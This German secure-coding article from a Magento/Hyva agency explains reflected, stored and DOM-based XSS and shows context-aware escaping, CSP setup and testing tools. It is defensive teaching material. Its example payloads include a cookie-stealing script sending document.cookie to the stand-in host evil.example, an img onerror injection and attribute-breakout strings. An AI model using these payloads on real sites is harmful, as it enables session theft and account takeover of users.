Reflected, Stored und DOM-based XSS sicher verhindern
Cross-Site Scripting zählt seit Jahren zu den häufigsten Schwachstellen in Webanwendungen und erlaubt Angreifern, eigenen JavaScript-Code im Browser fremder Nutzer auszuführen. Dieser Artikel erklärt die drei XSS-Typen reflected, stored und DOM-based, zeigt wie unescaped Ausgaben zu ausführbarem Code werden, und liefert konkrete Schutzmaßnahmen über kontextabhängiges Encoding, Content-Security-Policy und die Escaping-Helfer von Magento und Hyva.
Inhaltsverzeichnis
- 1. Was Cross-Site Scripting wirklich bedeutet
- 2. Die drei XSS-Typen: Reflected, Stored und DOM-based
- 3. Wie aus unescaped Ausgabe ausführbarer Code wird
- 4. Kontextabhängiges Output-Encoding: HTML, Attribut, JS, URL
- 5. DOM-based XSS: innerHTML, eval und Alpine.js-Fallstricke
- 6. Content-Security-Policy als Defense-in-Depth
- 7. Magento & Hyva: escapeHtml, escapeJs, escapeUrl richtig einsetzen
- 8. XSS erkennen: Testing, Code-Review und Tools
- 9. Encoding-Funktionen im Vergleich
- 10. Zusammenfassung
- 11. FAQ
1. Was Cross-Site Scripting wirklich bedeutet
Cross-Site Scripting (XSS) ist eine Schwachstellenklasse, bei der eine Webanwendung nicht vertrauenswürdige Eingaben ungeprüft als Teil einer Webseite ausliefert, sodass der Browser eines Opfers fremden JavaScript-Code im Sicherheitskontext der eigentlich vertrauenswürdigen Seite ausführt. XSS steht seit Jahren konstant in den OWASP-Top-10-Kategorien für Injection-Schwachstellen und betrifft praktisch jede Anwendung, die Nutzereingaben irgendwo wieder ausgibt: Suchfelder, Produktbewertungen, Kommentarfunktionen, Profilnamen oder URL-Parameter. Die Konsequenzen reichen von Session-Diebstahl über das Auslesen von Formulardaten bis zur vollständigen Übernahme eines Kundenkontos.
Der entscheidende Unterschied zu serverseitigen Injection-Angriffen wie SQL-Injection: Der schädliche Code läuft nicht auf dem Server, sondern im Browser des Opfers, und zwar mit denselben Rechten wie legitimer Code der Seite. Das bedeutet, ein XSS-Payload kann auf Cookies zugreifen, authentifizierte Requests im Namen des Opfers absenden, Formulareingaben mitschneiden oder die komplette Seite für Phishing-Zwecke manipulieren. Same-Origin-Policy schützt hier nicht, weil der Angreifer-Code technisch als Teil der vertrauenswürdigen Seite läuft, nicht als externe Quelle.
2. Die drei XSS-Typen: Reflected, Stored und DOM-based
Reflected XSS entsteht, wenn Eingaben aus dem aktuellen Request, etwa ein Query-Parameter oder ein Formularfeld, unverändert in der Serverantwort erscheinen. Der Angriff ist nicht persistent: Der Angreifer muss das Opfer dazu bringen, einen präparierten Link zu öffnen, etwa über Phishing-E-Mails oder manipulierte Werbebanner. Klassisches Beispiel: eine Fehlerseite, die den Suchbegriff aus der URL unverändert in die Meldung „Keine Ergebnisse für ... gefunden" einbaut.
Stored XSS ist die gefährlichere Variante, weil der schädliche Code dauerhaft in der Datenbank landet, etwa in einer Produktbewertung, einem CMS-Block oder einem Kundenkommentar, und danach jedem Besucher der betroffenen Seite ausgeliefert wird. Ein einziger erfolgreicher Angriff kann so tausende Nutzer treffen, ohne dass jeder Einzelne einen manipulierten Link anklicken muss. Genau deshalb sind nutzergenerierte Inhalte in Magento-Shops, etwa Produktreviews oder Gästebuch-Module, ein bevorzugtes Ziel.
DOM-based XSS unterscheidet sich fundamental: Die Schwachstelle liegt vollständig im clientseitigen JavaScript. Quelle und Ziel des Angriffs, etwa location.hash als Quelle und innerHTML als Ziel, befinden sich beide im DOM. Der Server sieht den schädlichen Payload oft nie, weil er beispielsweise nur im URL-Fragment nach dem Raute-Zeichen steht. Das macht DOM-based XSS für serverseitige Logs, Web Application Firewalls und klassische Input-Validierung unsichtbar.
3. Wie aus unescaped Ausgabe ausführbarer Code wird
Browser parsen HTML inkrementell und unterscheiden dabei strikt zwischen Markup-Struktur und Textinhalt. Landet eine rohe, nicht kodierte Nutzereingabe an einer Stelle, die als HTML interpretiert wird, kann der Browser nicht mehr erkennen, dass diese Zeichenkette eigentlich reine Daten sein sollte. Enthält die Eingabe Zeichen wie <, > oder ", entstehen daraus neue HTML-Elemente, Attribute oder Event-Handler, die der Browser genauso ausführt wie vom Entwickler geschriebenes Markup.
Am Beispiel eines klassischen Suchfelds wird die Mechanik greifbar: Wird der Suchbegriff ohne Encoding direkt in die HTML-Antwort geschrieben, reicht ein Payload wie <script>document.location='https://evil.example/steal?c='+document.cookie</script>, um im Browser des Opfers Code auszuführen, der das Sitzungscookie an einen fremden Server sendet. Die einzig zuverlässige Gegenmaßnahme ist, jede dynamische Ausgabe konsequent für den jeweiligen Ausgabekontext zu kodieren, statt sich auf Input-Validierung oder Blacklists einzelner Zeichenketten zu verlassen, die sich fast immer umgehen lassen.
<?php
// VULNERABLE: raw user input echoed directly into HTML response
$searchTerm = $_GET['q'];
echo "<p>Keine Ergebnisse für {$searchTerm} gefunden.</p>";
// Payload: ?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>
// Result: attacker script runs in the victim's browser with the site's origin
// FIXED: context-aware HTML encoding before output
$searchTerm = $_GET['q'] ?? '';
$safeSearchTerm = htmlspecialchars($searchTerm, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "<p>Keine Ergebnisse für {$safeSearchTerm} gefunden.</p>";
// "<script>" becomes "<script>": rendered as inert text, not executable markup
4. Kontextabhängiges Output-Encoding: HTML, Attribut, JS, URL
Eine der häufigsten Ursachen für unvollständigen XSS-Schutz ist die Annahme, eine einzige Encoding-Funktion reiche für alle Ausgabestellen. Tatsächlich braucht jeder Ausgabekontext seine eigene Kodierung, weil jeder Kontext unterschiedliche Zeichen als Steuerzeichen interpretiert. HTML-Body-Text benötigt Entity-Encoding für <, > und &. HTML-Attributwerte benötigen zusätzlich Quote-Encoding, weil ein Angreifer sonst mit einem Anführungszeichen aus dem Attribut ausbrechen und ein neues Attribut wie onmouseover einschleusen kann, selbst wenn spitze Klammern bereits kodiert sind.
Innerhalb von Inline-JavaScript reicht HTML-Encoding nicht aus, weil der Browser den String bereits als JavaScript parst, bevor überhaupt HTML-Entities aufgelöst werden; hier ist JavaScript-String-Escaping oder besser eine strukturierte JSON-Kodierung nötig. In URL-Kontexten, etwa innerhalb eines href-Attributs, muss zusätzlich verhindert werden, dass ein Angreifer über javascript:-Pseudo-Protokolle eigenen Code einschleust. Die Grundregel lautet: Encoding-Funktion immer passend zur Position im Dokument wählen, nicht zur Datenquelle.
<!-- HTML body context: entity-encode < > & -->
<p>Willkommen, {{escapeHtml(username)}}</p>
<!-- "<b>Max</b>" becomes literal text, not a bold tag -->
<!-- HTML attribute context: quote-encoding is mandatory, even inside quotes -->
<input type="text" value="{{escapeHtmlAttr(userInput)}}">
<!-- Without it: value="x" onmouseover="stealCookies()" breaks out of the attribute -->
<!-- Inline JavaScript context: HTML-encoding alone is not enough -->
<script>
var greeting = "{{escapeJs(username)}}";
// Without JS-escaping: username = ";alert(document.cookie);" closes the string and injects code
</script>
<!-- URL context: encode the value and reject dangerous schemes -->
<a href="/search?q={{escapeUrl(searchTerm)}}">Suche wiederholen</a>
<!-- Never allow "javascript:" or "data:" as a user-controlled href scheme -->
5. DOM-based XSS: innerHTML, eval und Alpine.js-Fallstricke
DOM-based XSS entsteht, wenn clientseitiges JavaScript Daten aus einer nicht vertrauenswürdigen Quelle liest und ungefiltert an eine gefährliche Senke weiterreicht. Typische Quellen sind location.hash, location.search, document.referrer, window.name und Nachrichten aus postMessage. Gefährliche Senken sind innerHTML, outerHTML, document.write, eval, setTimeout mit einem String-Argument sowie insertAdjacentHTML. Landet unkodierter Nutzer-Content in einer dieser Senken, parst der Browser ihn als HTML oder JavaScript, unabhängig davon, was der Server ausgeliefert hat.
In Alpine.js-basierten Hyva-Templates gilt dieselbe Regel für die Direktive x-html: Sie rendert den gebundenen Wert als rohes HTML und ist damit strukturell riskant, sobald der Wert auch nur teilweise aus Nutzereingaben, URL-Parametern oder externen APIs stammt. Für reinen Text ist x-text die sichere Alternative, weil Alpine den Wert dabei über textContent setzt und der Browser ihn niemals als Markup interpretiert. x-html sollte ausschließlich für fest im Code definierte oder serverseitig bereits sicher aufbereitete Inhalte verwendet werden.
// VULNERABLE: DOM-based XSS via URL fragment and innerHTML sink
const params = new URLSearchParams(location.hash.slice(1));
document.getElementById('greeting').innerHTML = 'Hallo ' + params.get('name');
// URL: https://shop.example/#name=<img src=x onerror=alert(document.cookie)>
// The payload never touches the server, yet executes in the victim's browser
// FIXED: use textContent, the browser never parses it as markup
const safeName = params.get('name') ?? '';
document.getElementById('greeting').textContent = 'Hallo ' + safeName;
// Alpine.js / Hyva: prefer x-text over x-html for anything user-controlled
// VULNERABLE: <div x-html="product.description"></div>
// SAFER: <div x-text="product.description"></div>
// x-html is only acceptable for content that is already sanitized server-side
6. Content-Security-Policy als Defense-in-Depth
Eine Content-Security-Policy (CSP) ist eine vom Browser durchgesetzte Allowlist, die festlegt, aus welchen Quellen Skripte, Stylesheets, Bilder und andere Ressourcen geladen werden dürfen. Eine strikte Policy mit script-src 'self' und ohne 'unsafe-inline' blockiert Inline-Scripts und damit einen Großteil klassischer XSS-Payloads, selbst wenn eine Encoding-Lücke im Code übersehen wurde. CSP ist damit kein Ersatz für Output-Encoding, sondern eine zweite, unabhängige Verteidigungslinie, die den Schaden einer übersehenen Schwachstelle begrenzt.
Magento 2 bringt seit Version 2.3.5 ein eigenes CSP-Modul (Magento_Csp) mit, über das Module ihre benötigten Skript-, Style- und Frame-Quellen deklarativ in csp_whitelist.xml eintragen, statt die Policy pauschal aufzuweichen. Nonce-basierte Inline-Scripts, wie sie Hyva über $hyvaCsp->registerInlineScript() registriert, bleiben dabei erlaubt, weil jedes Script-Tag ein serverseitig generiertes, pro Request eindeutiges Nonce-Attribut erhält, das ein Angreifer nicht erraten kann. Der Report-Only-Modus (Content-Security-Policy-Report-Only) erlaubt es, eine neue Policy zunächst nur zu protokollieren, bevor sie aktiv Anfragen blockiert.
<!-- app/code/Vendor/Module/etc/csp_whitelist.xml -->
<!-- Declare required script sources instead of weakening the global CSP policy -->
<csp_whitelist xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Csp:etc/csp_whitelist.xsd">
<policies>
<policy id="script-src">
<values>
<value id="analytics" type="host">https://analytics.example.com</value>
</values>
</policy>
<policy id="object-src">
<none>true</none>
</policy>
</policies>
</csp_whitelist>
<!-- Resulting response header (managed by Magento_Csp), nonce generated per request -->
<!-- Content-Security-Policy: script-src 'self' 'nonce-Rand0mPerRequest'; object-src 'none'; base-uri 'self' -->
7. Magento & Hyva: escapeHtml, escapeJs, escapeUrl richtig einsetzen
Magento\Framework\Escaper stellt kontextspezifische Methoden bereit, die exakt den vier Encoding-Kontexten aus Abschnitt 4 entsprechen: escapeHtml() für HTML-Body-Text, escapeHtmlAttr() für Attributwerte, escapeJs() für Inline-JavaScript und escapeUrl() für URL-Werte. In Hyva-Templates steht der Escaper standardmäßig als $escaper zur Verfügung. Der häufigste Fehler in der Praxis: Entwickler nutzen escapeHtml() für jeden Wert unabhängig vom Zielkontext, etwa auch innerhalb eines <script>-Blocks, wo eigentlich escapeJs() oder eine JSON-Kodierung nötig wäre.
Ein zweiter verbreiteter Fehler ist das komplette Auslassen des Escapers bei vermeintlich vertrauenswürdigen Quellen wie CMS-Blöcken oder Admin-gepflegten Inhalten, obwohl auch Admin-Accounts kompromittiert werden können. Wo begrenztes HTML-Formatting explizit gewünscht ist, etwa fett oder kursiv in einer Produktbeschreibung, erlaubt escapeHtml($value, ['b', 'i', 'em', 'strong']) gezielt eine Allowlist bestimmter Tags, statt komplett ungeprüftes HTML durchzulassen. Nach jedem Inline-<script>-Block muss zusätzlich $hyvaCsp->registerInlineScript() aufgerufen werden, damit das Script unter der CSP-Policy ein gültiges Nonce erhält.
<?php
/** @var \Magento\Framework\Escaper $escaper */
/** @var \Vendor\Module\ViewModel\Review $viewModel */
?>
<!-- VULNERABLE: raw output of a customer-supplied review title -->
<h3><?= $block->getReviewTitle() ?></h3>
<!-- FIXED: HTML-body context, entity-encoded -->
<h3><?= $escaper->escapeHtml($viewModel->getReviewTitle()) ?></h3>
<!-- Attribute context: escapeHtmlAttr, not escapeHtml -->
<div data-review-id="<?= $escaper->escapeHtmlAttr($viewModel->getReviewId()) ?>">
<!-- Allowlist a few safe formatting tags for rich CMS content -->
<p><?= $escaper->escapeHtml($viewModel->getReviewBody(), ['b', 'i', 'em', 'strong']) ?></p>
<!-- Inline script: escapeJs for the value, registerInlineScript for the CSP nonce -->
<script>
var reviewId = "<?= $escaper->escapeJs($viewModel->getReviewId()) ?>";
</script>
<?php $hyvaCsp->registerInlineScript() ?>
8. XSS erkennen: Testing, Code-Review und Tools
Manuelles Code-Review bleibt die wirksamste erste Verteidigungslinie: Gezieltes Suchen nach Mustern wie direkter Ausgabe von $_GET, $_POST oder getData()-Rückgabewerten ohne Escaper-Aufruf, nach innerHTML-Zuweisungen mit dynamischem Inhalt und nach x-html-Bindings in Alpine-Templates deckt einen Großteil der Schwachstellen auf, bevor Code überhaupt in Produktion geht. Statische Analyse-Tools wie Psalm mit aktivierter Taint-Analyse oder ESLint mit dem Plugin eslint-plugin-no-unsanitized automatisieren genau diese Suche und lassen sich direkt in die CI-Pipeline integrieren, sodass ein Pull Request mit unescaped Output gar nicht erst gemerged werden kann.
Ergänzend gehört dynamisches Testen der eigenen Anwendung zum Standardrepertoire: Jedes Eingabefeld und jeder Query-Parameter, der irgendwo im Response wieder auftaucht, wird gezielt mit harmlosen Testpayloads wie <script>alert(document.domain)</script> geprüft, um zu sehen, ob und in welchem Kontext der Wert unkodiert landet. Tools wie OWASP ZAP oder Burp Suite automatisieren diesen Scan über eine gesamte Anwendung hinweg. Wichtig: Solche aktiven Scans und Payload-Tests gehören ausschließlich auf eigene Systeme oder Systeme, für die eine ausdrückliche Freigabe zum Penetrationstest vorliegt.
9. Encoding-Funktionen im Vergleich
Die folgende Übersicht fasst zusammen, welche Encoding-Funktion für welchen Ausgabekontext richtig ist und warum das jeweils unsichere Muster eine Lücke öffnet. Sie dient als schnelle Referenz beim Code-Review und für neue Templates.
| Kontext | Unsicheres Muster | Sicheres Encoding | Warum |
|---|---|---|---|
| HTML-Body-Text | echo $var |
escapeHtml() |
Verhindert die Injektion neuer HTML-Tags |
| HTML-Attribut | value="<?= $var ?>" |
escapeHtmlAttr() |
Verhindert Ausbruch aus dem Attribut |
| Inline JavaScript | var x = "<?= $var ?>" |
escapeJs() |
Verhindert String-Ausbruch im Script |
| URL-Parameter | href="?q=<?= $var ?>" |
escapeUrl() |
Verhindert Schema- und Query-Injection |
| DOM-Manipulation (JS) | el.innerHTML = data |
el.textContent = data |
Browser parst den Wert nie als Markup |
Auffällig ist, dass fast alle unsicheren Muster in der Tabelle strukturell identisch sind: Eine nicht vertrauenswürdige Zeichenkette wird ohne Rücksicht auf den Zielkontext direkt in ausführbares Markup oder Code eingebettet. Wer sich merkt, dass jede Ausgabestelle eine bewusste Entscheidung für die passende Encoding-Funktion erfordert, statt sich auf eine einzige globale Sanitisierung zu verlassen, vermeidet den überwiegenden Teil aller XSS-Schwachstellen in eigenen Anwendungen.
Mironsoft
Security-Audits, Code-Reviews und CSP-Hardening für Magento- und Hyva-Shops
XSS-Schwachstellen in eurem Shop zuverlässig schließen?
Wir prüfen eure Templates, ViewModels und Frontend-Skripte auf reflected, stored und DOM-based XSS, härten die Content-Security-Policy und setzen kontextabhängiges Escaping konsequent in Magento- und Hyva-Codebasen um.
XSS-Code-Review
Gezielte Prüfung aller Ausgabestellen und Escaping-Aufrufe im Code
CSP-Rollout
Nonce-basierte Content-Security-Policy für Magento_Csp einrichten
Pentesting-Begleitung
Dynamische Tests mit ZAP/Burp und Nachbesserung gefundener Lücken
10. Zusammenfassung
Cross-Site Scripting löst sich nicht mit einer einzelnen Maßnahme, sondern mit mehreren aufeinander abgestimmten Schutzschichten. Reflected, stored und DOM-based XSS unterscheiden sich in Persistenz und Angriffsweg, folgen aber demselben Grundmuster: nicht vertrauenswürdige Daten landen unkodiert an einer Stelle, an der der Browser sie als ausführbares Markup interpretiert. Kontextabhängiges Encoding mit den passenden Funktionen für HTML-Body, Attribute, Inline-JavaScript und URLs schließt die Lücke an der Quelle, in Magento und Hyva über escapeHtml(), escapeHtmlAttr(), escapeJs() und escapeUrl().
Eine strikte Content-Security-Policy mit Nonces ergänzt das Encoding als zweite, unabhängige Verteidigungslinie und begrenzt den Schaden, falls eine Schwachstelle trotzdem übersehen wird. Wer zusätzlich statische Analyse in die CI-Pipeline integriert und Eingabefelder regelmäßig mit Testpayloads prüft, reduziert das Risiko systematisch, statt einzelne Vorfälle reaktiv zu beheben.
Cross-Site Scripting (XSS): Das Wichtigste auf einen Blick
Drei XSS-Typen
Reflected (nicht persistent, Request-basiert), Stored (persistent, trifft alle Besucher) und DOM-based (rein clientseitig, für den Server unsichtbar).
Kontextabhängiges Encoding
HTML-Body, Attribut, JavaScript und URL brauchen jeweils eigene Encoding-Funktionen, niemals eine einzige globale Sanitisierung.
CSP als Defense-in-Depth
Nonce-basierte Content-Security-Policy blockiert Inline-Scripts und begrenzt den Schaden übersehener Lücken.
Magento/Hyva-Escaping
escapeHtml(), escapeHtmlAttr(), escapeJs(), escapeUrl() konsequent passend zum Ausgabekontext einsetzen.